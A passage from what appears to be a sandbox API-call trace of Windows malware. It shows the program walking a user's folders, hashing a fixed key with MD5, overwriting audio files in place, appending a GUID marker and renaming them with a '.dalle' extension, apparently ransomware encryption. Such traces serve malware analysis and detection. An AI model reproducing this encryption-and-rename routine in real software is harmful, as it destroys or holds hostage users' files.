(pszPath="C:\\Users\\") returned="Users\\" [0120.357] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0120.357] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.357] PathFindFileNameW (pszPath="") returned="" [0120.357] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0120.357] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.357] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.357] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0120.357] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini") returned=".ini" [0120.357] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0120.357] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk") returned=".lnk" [0120.357] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0120.357] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk") returned=".lnk" [0120.357] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0120.357] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk") returned=".lnk" [0120.357] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0120.357] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0120.358] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0120.358] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0120.358] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0120.358] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.358] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.358] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.358] PathFindFileNameW (pszPath="") returned="" [0120.358] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0120.358] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0120.358] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0120.358] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0120.358] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.358] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.358] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.358] PathFindFileNameW (pszPath="") returned="" [0120.358] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbd9467f0, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbd9467f0, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0120.358] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbd9467f0, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbd9467f0, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.359] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1157c0, ftCreationTime.dwHighDateTime=0x1d4ce97, ftLastAccessTime.dwLowDateTime=0xadf12ba0, ftLastAccessTime.dwHighDateTime=0x1d4ca5d, ftLastWriteTime.dwLowDateTime=0xadf12ba0, ftLastWriteTime.dwHighDateTime=0x1d4ca5d, nFileSizeHigh=0x0, nFileSizeLow=0x1567a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1LH ai8TTh YEvyGD.m4a", cAlternateFileName="1LHAI8~1.M4A")) returned 1 [0120.359] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1LH ai8TTh YEvyGD.m4a") returned=".m4a" [0120.359] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1LH ai8TTh YEvyGD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1lh ai8tth yevygd.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.359] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=87674) returned 1 [0120.359] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.361] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x15654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.361] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.362] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x1567a, lpOverlapped=0x0) returned 1 [0120.363] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.363] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.363] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.363] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.364] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.364] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.364] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.364] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.364] GetLastError () returned 0x0 [0120.364] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.364] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.365] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1567a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.365] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.365] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.365] CloseHandle (hObject=0x618) returned 1 [0120.366] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1LH ai8TTh YEvyGD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1lh ai8tth yevygd.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1LH ai8TTh YEvyGD.m4a.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1lh ai8tth yevygd.m4a.dalle")) returned 1 [0120.368] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32189630, ftCreationTime.dwHighDateTime=0x1d4c65c, ftLastAccessTime.dwLowDateTime=0x865fcc00, ftLastAccessTime.dwHighDateTime=0x1d4d434, ftLastWriteTime.dwLowDateTime=0x865fcc00, ftLastWriteTime.dwHighDateTime=0x1d4d434, nFileSizeHigh=0x0, nFileSizeLow=0xa90a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1m-pL.m4a", cAlternateFileName="")) returned 1 [0120.368] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.368] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0120.368] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.368] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1m-pL.m4a") returned=".m4a" [0120.368] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1m-pL.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1m-pl.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.369] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=43274) returned 1 [0120.369] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.371] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.371] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.372] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.372] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.372] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.372] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xa90a, lpOverlapped=0x0) returned 1 [0120.373] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.373] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.373] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.373] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.373] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.374] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.374] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.374] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.374] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.374] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.374] GetLastError () returned 0x0 [0120.374] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.374] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.374] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.374] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa910) returned 0x3096780 [0120.374] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.374] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.374] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0xa905, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0xa905, lpOverlapped=0x0) returned 1 [0120.375] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.375] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa90a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.375] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.375] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.375] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.375] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.375] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.375] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.375] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.375] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.375] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.375] CloseHandle (hObject=0x618) returned 1 [0120.376] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.376] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x870) returned 0x3096780 [0120.376] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.376] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1m-pL.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1m-pl.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1m-pL.m4a.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1m-pl.m4a.dalle")) returned 1 [0120.377] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.377] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.377] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0120.377] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5f174b0, ftCreationTime.dwHighDateTime=0x1d4c5ed, ftLastAccessTime.dwLowDateTime=0xb80f98f0, ftLastAccessTime.dwHighDateTime=0x1d4cf45, ftLastWriteTime.dwLowDateTime=0xb80f98f0, ftLastWriteTime.dwHighDateTime=0x1d4cf45, nFileSizeHigh=0x0, nFileSizeLow=0xb9f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1OENLvsSvA_3B3xAhQM.wav", cAlternateFileName="1OENLV~1.WAV")) returned 1 [0120.378] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.378] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0120.378] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.378] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1OENLvsSvA_3B3xAhQM.wav") returned=".wav" [0120.378] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1OENLvsSvA_3B3xAhQM.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1oenlvssva_3b3xahqm.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.379] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=47606) returned 1 [0120.379] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.380] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xb9d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.380] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.382] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.382] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.382] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.382] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xb9f6, lpOverlapped=0x0) returned 1 [0120.383] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.383] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.383] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.383] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.383] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.383] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.383] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.383] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.384] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.384] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.384] GetLastError () returned 0x0 [0120.384] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.384] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.384] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.384] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xba00) returned 0x3096780 [0120.384] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.384] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.384] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0xb9f1, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0xb9f1, lpOverlapped=0x0) returned 1 [0120.384] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.384] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xb9f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.384] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.384] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.384] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, 